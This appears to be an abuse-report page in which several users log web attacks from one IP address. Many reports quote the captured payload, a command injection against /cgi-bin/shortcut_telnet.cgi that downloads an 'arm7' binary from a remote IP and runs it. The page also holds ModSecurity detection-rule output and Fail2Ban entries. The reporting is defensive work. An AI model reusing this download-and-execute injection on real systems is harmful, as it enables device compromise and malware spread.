🇩🇰
swrlly
2026-06-01 10:56:53
(2 days ago)
3 unauthorized webserver connections (30d)
Web App Attack
🇷🇴
StarTech Team
2026-06-01 10:56:00
(2 days ago)
Web App Atack
Web App Attack
🇺🇸
jcbriar
2026-06-01 10:55:23
(2 days ago)
Searching for vulnerable scripts
Hacking
Web App Attack
🇫🇷
Eldeberen
2026-06-01 10:52:47
(2 days ago)
Vulnerability scan attempt through HTTP protocol
Web App Attack
🇺🇸
jkhorvath.com
2026-06-01 10:51:49
(2 days ago)
Request for URL /cgi-bin/shortcut_telnet.cgi?cd%20/tmp%3Brm%20arm7%3Bwget%20http%3A/31.56.209.220/ar ...
show more
Request for URL /cgi-bin/shortcut_telnet.cgi?cd%20/tmp%3Brm%20arm7%3Bwget%20http%3A/31.56.209.220/arm7%3Bchmod%20777%20*%3B./arm7%20gigasex
show less
Phishing
Brute-Force
Web App Attack
🇺🇸
MPL
2026-06-01 10:51:48
(2 days ago)
tcp/80 (24 or more attempts)
Port Scan
🇩🇪
barbarella
2026-06-01 10:51:36
(2 days ago)
hacking attempt to install malware (GET /cgi-bin/shortcut_telnet.cgi?cd%20/tmp%3Brm%20arm7%3Bwget%2 ...
show more
hacking attempt to install malware (GET /cgi-bin/shortcut_telnet.cgi?cd%20/tmp%3Brm%20arm7%3Bwget%20http%3A//31.56.209.220/arm7%3Bchmod%20777%20*%3B./arm7%20gigasex)
show less
Hacking
Web App Attack
🇩🇪
Bedios GmbH
2026-06-01 10:50:26
(2 days ago)
Vulnerability Probe
Hacking
2026-06-01 10:49:22
(2 days ago)
[Mon Jun 01 12:49:22.068077 2026] [:error] [pid 137267:tid 137267] [client 45.198.224.22:25226] ModS ...
show more
[Mon Jun 01 12:49:22.068077 2026] [:error] [pid 137267:tid 137267] [client 45.198.224.22:25226] ModSecurity: Warning. Matched "Operator `Rx' with parameter `(?i)(?:b[\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$ (8797 characters omitted)' against variable `ARGS_NAMES:cd /tmp;rm arm7;wget http://31.56.209.220/arm7;chmod 777 *;./arm7 gigasex' (Value: `cd /tmp;rm arm7;wget http://31.56.209.220/arm7;chmod 777 *;./arm7 gigasex' ) [file "/usr/local/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "186"] [id "932235"] [rev ""] [msg "Remote Command Execution: Unix Command Injection (command without evasion)"] [data "Matched Data: ;wget found within ARGS_NAMES:cd /tmp;rm arm7;wget http://31.56.209.220/arm7;chmod 777 *;./arm7 gigasex: cd /tmp;rm arm7;wget http://31.56.209.220/arm7;chmod 777 *
...
show less
Web App Attack
2026-06-01 10:48:04
(2 days ago)
45.198.224.22 - - [01/Jun/2026:12:48:04 +0200] "GET /cgi-bin/shortcut_telnet.cgi?cd%20/tmp%3Brm%20ar ...
show more
45.198.224.22 - - [01/Jun/2026:12:48:04 +0200] "GET /cgi-bin/shortcut_telnet.cgi?cd%20/tmp%3Brm%20arm7%3Bwget%20http%3A//31.56.209.220/arm7%3Bchmod%20777%20*%3B./arm7%20gigasex HTTP/1.1" 301 162 "-" "Hello World"
...
show less
Brute-Force
Web App Attack
🇮🇩
Burayot
2026-06-01 10:47:33
(2 days ago)
LF_MODSEC: (mod_security) mod_security (id:1000001) triggered by 45.198.224.22 (US/United States/-): ...
show more
LF_MODSEC: (mod_security) mod_security (id:1000001) triggered by 45.198.224.22 (US/United States/-): 1 in the last 3600 secs
show less
Web App Attack
🇫🇷
breubit
2026-06-01 10:46:23
(2 days ago)
45.198.224.22 - - [01/Jun/2026:12:46:22 +0200] "GET /cgi-bin/shortcut_telnet.cgi?cd%20/tmp%3Brm%20ar ...
show more
45.198.224.22 - - [01/Jun/2026:12:46:22 +0200] "GET /cgi-bin/shortcut_telnet.cgi?cd%20/tmp%3Brm%20arm7%3Bwget%20http%3A//31.56.209.220/arm7%3Bchmod%20777%20*%3B./arm7%20gigasex HTTP/1.1" 404 436 "-" "Hello World"
...
show less
Web App Attack
🇮🇹
Inartis
2026-06-01 10:46:09
(2 days ago)
45.198.224.22 - - [01/Jun/2026:10:46:08 +0000] "GET /cgi-bin/shortcut_telnet.cgi?cd%20/tmp%3Brm%20ar ...
show more
45.198.224.22 - - [01/Jun/2026:10:46:08 +0000] "GET /cgi-bin/shortcut_telnet.cgi?cd%20/tmp%3Brm%20arm7%3Bwget%20http%3A//31.56.209.220/arm7%3Bchmod%20777%20*%3B./arm7%20gigasex HTTP/1.1" 302 687 "-" "Hello World"
...
show less
Brute-Force
Bad Web Bot
Web App Attack
🇷🇺
genokrad
2026-06-01 10:46:03
(2 days ago)
Website scan TCP 80/443 "/cgi-bin/shortcut_telnet.cgi" "Hello World"
Port Scan
Web App Attack
🇧🇷
Peregrine
2026-06-01 10:44:59
(2 days ago)
Fail2Ban Jail s2: tomcat-honeypot | Evidence: - 45.198.224.22 - - [01/Jun/2026:07:44:48 -0300] "GET ...
show more
Fail2Ban Jail s2: tomcat-honeypot | Evidence: - 45.198.224.22 - - [01/Jun/2026:07:44:48 -0300] "GET /cgi-bin/shortcut_telnet.cgi?cd%20/tmp%3Brm%20arm7%3Bwget%20http%3A//31.56.209.220/arm7%3Bchmod%20777%20*%3B./arm7%20gigasex HTTP/1.1" 404 414
show less
Bad Web Bot